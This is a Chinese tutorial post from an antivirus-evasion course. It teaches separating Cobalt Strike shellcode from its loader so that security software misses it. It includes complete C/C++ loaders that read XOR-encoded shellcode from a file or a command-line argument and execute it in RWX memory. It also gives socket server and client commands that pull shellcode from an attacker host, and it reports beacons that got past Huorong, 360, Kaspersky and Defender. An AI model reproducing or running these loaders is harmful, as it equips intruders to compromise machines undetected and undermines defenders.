文章目录
免杀对抗——第一百四十九天
C2远控篇&C&C++&ShellCode分离&File提取&Http协议&Argv参数&Sock管道
前置知识
之前讲到过我们针对ShellCode的加载方式大致有四种:
1、Shellcode 自写打乱-让杀毒不认识
2、Shellcode 加密混淆-让杀毒不知道
3、Shellcode 分离隐藏-让杀毒找不到
4、Shellcode 注入回调-让杀毒绕圈圈之前的课程中讲过加密混淆,那么本节课我们就围绕ShellCode的分离隐藏来进行免杀
内存免杀是将 shellcode 直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。
分离免杀包含对特征和行为的分离两个维度,把 shellcode 从放在程序转移到加载进内存,把整块的 ShellCode 通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。
而我们的分离思想,在本节课主要集中于如下四点:
- 文件分离 => 将ShellCode放到文件中,通过读取访问
- 参数分离 => 将ShellCode放到参数中,通过加载访问
- 网站分离 => 将ShellCode放到网站上,通过下载访问
- 管道分离 => 将ShellCode通过管道传输

当然,除了这些分离方式还有比如说放到一张隐写的图片中,通过其他代码生成加载、写入注册表等等
C2 远控 - ShellCode 分离-C/C++从文本中提取
- 这个我之前演示过,我们的思路就是通过将ShellCode代码放到另一个文件当中,通过读取进行加载,直接上代码:
#include <Windows.h>
#include <stdio.h>
unsigned char xor_key = 0xAA;
// 读取二进制文件到内存
unsigned char* read_binary_file(const char* filename, size_t* out_size) {
HANDLE hFile = CreateFileA(
filename,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
// 获取文件大小
*out_size = GetFileSize(hFile, NULL);
if (*out_size == INVALID_FILE_SIZE) {
CloseHandle(hFile);
return NULL;
}
// 分配内存
unsigned char* buffer = (unsigned char*)malloc(*out_size);
if (!buffer) {
CloseHandle(hFile);
return NULL;
}
// 读取文件
DWORD bytesRead;
if (!ReadFile(hFile, buffer, *out_size, &bytesRead, NULL) || bytesRead != *out_size) {
free(buffer);
CloseHandle(hFile);
return NULL;
}
CloseHandle(hFile);
return buffer;
}
int main() {
// 读取二进制文件
const char* shellcode_file = ".\\x.bin";
size_t shellcode_len = 0;
unsigned char* file_data = read_binary_file(shellcode_file, &shellcode_len);
// 分配可执行内存
void* exec_mem = VirtualAlloc(
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 复制并解密
memcpy(exec_mem, file_data, shellcode_len);
free(file_data);
unsigned char* payload = (unsigned char*)exec_mem;
for (size_t i = 0; i < shellcode_len; i++) {
payload[i] ^= xor_key;
}
// 打印查看
for (int i = 0; i < shellcode_len; i++) {
printf("%02X ", payload[i]);
}
// 执行
FlushInstructionCache(GetCurrentProcess(), exec_mem, shellcode_len);
((void(*)())exec_mem)();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
然后我们生成
x.bin文件就直接让CS生成raw文件,再放到010上异或即可我们会得到两个文件:
shell.exe和x.bin,然后放到火绒上看看效果:

火绒没有报毒,并且成功上线,然后我们看看360:


静态查杀基本都通过了,我们看能不能连上:

只能连上一段时间,360动态查杀还是过不了,但是静态过了还是不错,接着看看卡巴斯基:

卡巴静态也过了,尝试上线看看动态查杀:

卡巴还是厉害,一运行就直接寄了,最后看看DF:

不是哥们?我有点不敢相信,DF静态查杀居然也过了,上线!

和卡巴斯基一样,随便执行了几个命令就被干掉了,但是静态查杀过掉了让我有点意外,所以这种分离文件的方法在现在免杀性其实都还不错
C2 远控 - ShellCode 分离-C/C++从参数中提取
- 同样,我们也可以将ShellCode藏到参数中,让其通过手动输入的方式加载执行,代码如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
unsigned char xor_key = 0x44;
// 将十六进制字符串转换为字节数组
size_t hex_string_to_bytes(const char* hex_str, unsigned char** out_bytes) {
size_t len = strlen(hex_str);
size_t hex_len = 0;
// 统计有效的十六进制字符数
for (size_t i = 0; i < len; i++) {
if (isxdigit(hex_str[i])) {
hex_len++;
}
}
if (hex_len % 2 != 0) {
printf("[-] Error: Hex string length must be even (got %zu characters)\n", hex_len);
return 0;
}
size_t byte_len = hex_len / 2;
*out_bytes = (unsigned char*)malloc(byte_len);
if (!*out_bytes) {
printf("[-] Error: Memory allocation failed\n");
return 0;
}
// 转换十六进制字符串为字节数组
size_t byte_idx = 0;
for (size_t i = 0; i < len && byte_idx < byte_len; i++) {
if (!isxdigit(hex_str[i])) continue;
char hex_pair[3] = { 0 };
hex_pair[0] = hex_str[i];
// 找到下一个十六进制字符
size_t next_pos = i + 1;
while (next_pos < len && !isxdigit(hex_str[next_pos])) {
next_pos++;
}
if (next_pos < len) {
hex_pair[1] = hex_str[next_pos];
if (sscanf(hex_pair, "%2hhx", &(*out_bytes)[byte_idx]) != 1) {
printf("[-] Error: Invalid hex pair at position %zu\n", i);
free(*out_bytes);
*out_bytes = NULL;
return 0;
}
byte_idx++;
i = next_pos; // 跳过已处理的字符
}
}
return byte_len;
}
int main(int argc, char* argv[]) {
// 检查参数
if (argc != 2) {
return 1;
}
// 从命令行参数解析ShellCode
unsigned char* buf = NULL;
unsigned int buf_len = hex_string_to_bytes(argv[1], &buf);
if (buf_len == 0 || buf == NULL) {
return 1;
}
printf("[+] Loaded %u bytes from command line argument\n", buf_len);
// 分配可执行内存
void* exec_mem = VirtualAlloc(
NULL,
buf_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!exec_mem) {
printf("[-] VirtualAlloc failed with error: %lu\n", GetLastError());
free(buf);
return 1;
}
// 复制并解密
memcpy(exec_mem, buf, buf_len);
free(buf); // 释放临时缓冲区
unsigned char* payload = (unsigned char*)exec_mem;
for (size_t i = 0; i < buf_len; i++) {
payload[i] ^= xor_key;
}
// 打印查看
printf("[+] Decrypted payload (%u bytes):\n", buf_len);
for (unsigned int i = 0; i < buf_len; i++) {
printf("%02X ", payload[i]);
if ((i + 1) % 32 == 0) printf("\n");
}
printf("\n");
// 执行
printf("[+] Executing ShellCode...\n");
FlushInstructionCache(GetCurrentProcess(), exec_mem, buf_len);
((void(*)())exec_mem)();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
- 因为我们Input输入的东西是个字符串,所以需要进行转换,不能直接传入异或后的ShellCode
- 然后它的免杀性也还可以,静态查杀基本都能过,但是动态只能过火绒
C2 远控 - ShellCode 分离-C/C++从网站中提取
- 从网站中提取的意思就是,比如在本地开启一个服务器,然后将ShellCode放在上面,需要用到时加载
- 但是用C++实现HTTP访问网站比较复杂,这里代码太长了我就不贴出来了,直接AI生一份即可
- 免杀性其实也还行,静态查杀也基本都能过,但是动态查杀只能过个火绒
- 这里的加载网站,我们除了使用我们自己的服务器外,还可以用云存储,让网站的域名为白名单域名,也会有一定的免杀性
C2 远控 - ShellCode 分离-C/C++从管道中提取
- 这个的原理和C/S架构一样,通过服务端将ShellCode传递给客户端,客户端再执行:
- 服务端:作为攻击者控制的"服务器",存储ShellCode并监听连接
- 客户端:在目标机器运行,主动连接服务端获取ShellCode并执行
- 同样就用AI去生成一个代码,通过文件与参数的形式去接收,然后我们进行修改就好,使用时就先在本机运行服务端程序,等待客户端连接:
.\Socket_Server.exe x.bin 4444

- 将客户端程序上传到目标主机,然后运行:
Socket_Client.exe 10.136.11.61 4444

- 就能够直接上线了,免杀性其实也还行,火绒、360、卡巴斯基、DF的静态查杀都能过,但是一旦运行卡巴和DF直接挂,360执行敏感命令时也挂了,就能过个火绒
浙公网安备 33010602011771号